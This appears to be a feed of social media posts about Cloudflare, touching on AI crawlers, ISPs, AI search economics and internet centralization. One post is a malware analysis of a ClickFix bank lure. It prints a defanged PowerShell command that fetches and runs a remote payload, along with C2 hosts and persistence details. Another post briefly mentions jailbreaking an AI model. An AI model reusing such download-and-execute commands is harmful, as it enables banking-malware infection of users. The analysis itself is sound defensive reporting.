  @artillain @ThePrimeagen Ok I’m stupid bear with me. Usually with cloudflare on front of static public site, users don’t hit my web service most of time anyway, they hit cloudflare cache. Does it still work? I assume that information that anybody would want to scrape would be on static public endpoints.

  @TelepathicPug If u run a ping the ones causing an issue recently seem to belong to open ai gpt bot. Whether or not this is actually open ai doing this, or someone spawned their own tool using theirs, I do not know. IPs below. In order from worst to less worse for us: Meta bot Amazon bot Perplexity bot Cloudflare seems to block petal bot pretty effectively just by rate limiting but then we end up seeing that stupid chungus cloudflare page on the frontend. I blocked the entirety of China on nginx bc we don't do business there & I see no reason to take the hit for them. I am afraid to block Google bot even tho it's annoying bc then it might tank actual search, but idk I'm torn on that one.

  i don't buy the "ai search replaces Google" thesis. the data says the opposite is happening. Cloudflare Radar, may 2026: every ai chatbot — ChatGPT, Gemini, Claude, Perplexity — sends 0.29% of global search referrals. Google sends 87.63%. 301-to-1. Anthropic's ClaudeBot crawls 11,122 pages for every human visit it returns vs Google's 5:1. Alphabet Q1 2026 filing: Google search revenue $60.4B, +19% yoy, up from +17% in Q4. ai overviews hit 2.5B monthly users; ai mode crossed 1B. alphabet says ai overviews monetize at rates "similar to traditional search" (june 2026 investor presentation). the kill-google thesis is showing up as negative signal in the actual p&l. Perplexity — the consensus poster child — killed its entire ad business in feb (Financial Times, The Verge). ads generated $20K against $34M revenue. exec quote: "a user would just start doubting everything." a company that can't make advertising work cannot disrupt a $60B/quarter advertising business. the consensus pusher worth countering specifically — @sarahdingwang at a16z, who led Exa's $250M Series C at $2.2B in may. her line: "agents will search the web more than humans this year. soon orders of magnitudes more." historical analog — Netscape 1994-98. the next platform that would reduce windows to "a poorly debugged set of device drivers." 80% share, record ipo. microsoft bundled IE for free. netscape sold to AOL for scrap. the company that captured the value was the one everyone thought netscape would displace — Google, founded 1998 — the services layer above the commodity. counter-position: ai search isn't replacing Google. Google is becoming ai search. standalone players are fighting netscape's war while the incumbent absorbs the tech into a surface 2.5B people already use. investor read: Exa at $2.2B and Perplexity at $22B are priced for a market-share takeover the referral data says isn't happening. the smarter bet is the layer that monetizes the ai-overview expansion Google is driving.

  @SayantikaSays Try @BSNLCorporate . And I am not joking. It is best if it's available in your area. No BS service. I never heard these lines from BSNL, which I kept hearing from other providers like Jio and Airtel. "We won't give you the router password" "You can't use your own router, even if ours is ******. What do you mean you have a better router and modem? Hou must pay us a subscription for this mesh thing instead" "No, you can't use Google or CloudFlare's DNS, you must use ours. What if it's slow? If you change, how will we snoop on you and inject our advertisements into your browser?" "No, you can't open a port for you. For that, you must buy a static IP from us. Why is a static IP needed to open a port? Who knows. But we won't allow it unless you pay us extra" In the last 3 years, I have only had 2 outages on BSNL, 30-40 minutes max. While on Airtel, I had caught their staff removing my cable from their box and adding a new one for a new connection, and then making me wait till they finally got a new box after a week. They just didn't want to make a new customer wait, so they simply assigned my slot to them. And their customer care and local staff wasn't even ready to accept it, unless I showed the CCTV footage and a video of my cable literally being thrown on the side of their box, not even connected, while they were claiming that there's some backend issue.

  📌 The Illusion of Decentralization: Who Owns the Backbone of the Internet & AI in 2026? (Updated List) As you scroll daily, you might think you're navigating thousands of independent sites and apps. The reality? 90% of global data traffic flows through channels controlled by a select few. Here is who actually controls the world's digital backend: 1. The Cloud Big Three If these three companies went offline, half of the internet’s apps, banking systems, and aviation networks would vanish in seconds: * Amazon Web Services (AWS): Controls roughly a third of the entire global cloud market. It hosts giants like Netflix, Airbnb, and even highly sensitive government databases. * Microsoft Azure: The largest backbone for massive corporations, government institutions, and global digital identity systems. * Google Cloud: The third engine powering YouTube, massive big data research, and global startups. 2. The Gatekeepers These are the invisible shields you rarely see, but they control and protect your access to the internet: * Cloudflare: Manages and secures roughly 20-25% of all global web traffic. If Cloudflare goes down, half of the world's news outlets and crypto exchanges drop with it. * Akamai: The oldest and largest Content Delivery Network (CDN) in the world. They dictate how videos, live streams, and games reach billions of people without lagging. 3. The Hardware Monopoly Software is useless without processors, and this is where the greatest monopoly lies: * NVIDIA: Controls over 80% of the AI chip and data center GPU market. They essentially decide who has the compute power to train AI (like OpenAI and Meta) and who gets left behind. * TSMC (Taiwan Semiconductor): The Taiwanese giant that manufactures almost all the world's advanced chips for Apple, Nvidia, AMD, and Qualcomm. If TSMC stopped, the production of global smartphones and military hardware would freeze. 4. The Submarine Cables (Who Owns the Physical Internet?) The internet isn't in the sky (satellites only cover a tiny fraction). 99% of global data travels through cables at the bottom of the ocean: * SubCom & ASN: The two companies responsible for laying and maintaining most of the world's underwater fiber-optic cables. * The Big Tech Alliance: Today, Google, Meta, Microsoft, and Amazon have become the largest investors and tenants of these cables, meaning they now physically own the routes data takes between continents. 5. The Institutional Masters If you dig deep into the shares of every media, tech, aviation, and defense company globally, you will always find three names repeating as the top institutional investors: * BlackRock (Manages over $10 Trillion in assets). * Vanguard Group (Manages roughly $8 Trillion in assets). * State Street These funds don't run the companies day-to-day, but they hold massive voting power to dictate board members and the strategic direction of these giants (from Apple and Microsoft to oil and defense contractors). 💡 The Bottom Line: The internet is no longer the free, distributed network it was once touted to be. It has evolved into a highly centralized infrastructure where a few massive corporations and investment funds dictate what you see, what you hear, and how your data flows.

  @EddCoates Would/does Cloudflare help?

  BlockedPath (@BlockedPaths) reported 13 minutes ago

  @Howaboua You have to install their multiple mcp servers for that, check out the docs. I’ve been ******* with it for a few days and ported it into just about every harness. The timeout out errors and it randomly spitting out Chinese is funny. I did jailbreak that **** though via cloudflare

  AI-generated ClickFix lure impersonates a Brazilian 🇧🇷 bank to drop SmartRAT, a PowerShell banking RAT with QR-swap, keylogging, and fake overlay capabilities. The C2 panel had no server-side auth. Key findings: - Full infection chain: typosquatting domain cartaobb[.]com mimics cartaobrb[.]com[.]br, fake Cloudflare CAPTCHA triggers clipboard injection, fake BSOD locks the browser, then victim pastes: powershell "$k8='hxxp://64[.]95[.]13[.]238/st.txt';iex(irm $k8)" into Run. Three-stage PowerShell dropper pulls payload[.]php, AES-CBC decrypts SmartRAT in memory. Hashes: st.txt 297eb45f028d44d750297d2f932b9c91, RAT b17ccdb5531555e43f082d6e77c07227. - SmartRAT (SMART_V25) persists as scheduled task or Windows service named MicrosoftEdgeUpdateCore (T1543.003), copies itself to %APPDATA%\Microsoft\Diagnosis\ETW\msedgeupdate.txt, logs all activity to C:\ProgramData\Microsoft\Diagnosis\ETW\client_debug.log and per-PID logs. - C2 at c[.]windowsupdate-cdn[.]com port 51888 (fallback 162[.]141[.]111[.]227), AES-CBC encrypted over raw TCP. QR-swap feature overlays attacker QR at exact pixel coordinates of the legitimate banking QR to redirect transactions. Monitors window titles for santander, bradesco, itau, nubank, binance, and a dozen more. - The C2 panel (branded MyGood PRO) bypasses auth by checking only localStorage values authToken and currentUser client-side with no server validation, exposing the full admin panel to anyone who sets those keys. #DFIR_Radar

  suddenly i start getting captchas on google and cloudflare it has to be my IPTV service on my fire stick right?

  Vanilla web search in an always-on agent gets blocked. Not a Hermes bug. A structural 2026 problem. Cloudflare and Akamai are aggressive enough now that any general-purpose agent hits the wall. You need Tavily or equivalent. Budget time for it.

  I've been building AI phone agents on @Cloudflare for a while now. v1. a Python container, fighting for every millisecond. v2. no container, the whole call on the edge. that was the real work. now that I have the stack down, I spent last weekend messing around. this is v3, a cartoon you talk to that remembers you and gets heckled by a second AI. all on Cloudflare primitives. three teardowns, first one tomorrow. follow along. @CloudflareDev

  @EddCoates There's always Cloudflare. It kind of sucks having to give up SSL encrypted content to a 3rd party (they re-issue another SSL connection), but sucks less than getting ddos's by these stupid clanker suckbots.

  Martin Stepanek 🏳️‍🌈 (@techseovitals) reported 21 minutes ago

  🟣 Underrated #TechSEO Tip GPTBot, ClaudeBot, and PerplexityBot all respect robots.txt. Block them and your content never appears in AI answers. Worth flagging that Perplexity's compliance has been disputed – Cloudflare found evidence they used undeclared crawlers to bypass robots.txt. I see site owners block these crawlers without realizing they killed an entire traffic channel. Check your robots.txt right now. Look for blanket `Disallow: /` rules targeting AI user agents. You might be invisible in AI search and not even know it.

  @shubh19 @isha_singh06 Hey! Zerops fits the Railway/Render slot when the backend needs managed Postgres/Valkey on a private network next to it, hardware-priced. Pair it with Cloudflare for static the same way.

  @EddCoates another interesting cloudflare function is AI labirynt ... it create a ton of fake content filled with nofollow links generated by some **** IA... so the scraper spends a ton of resources to traverse all links then, if not enough start to ban by AS number instead of single IP
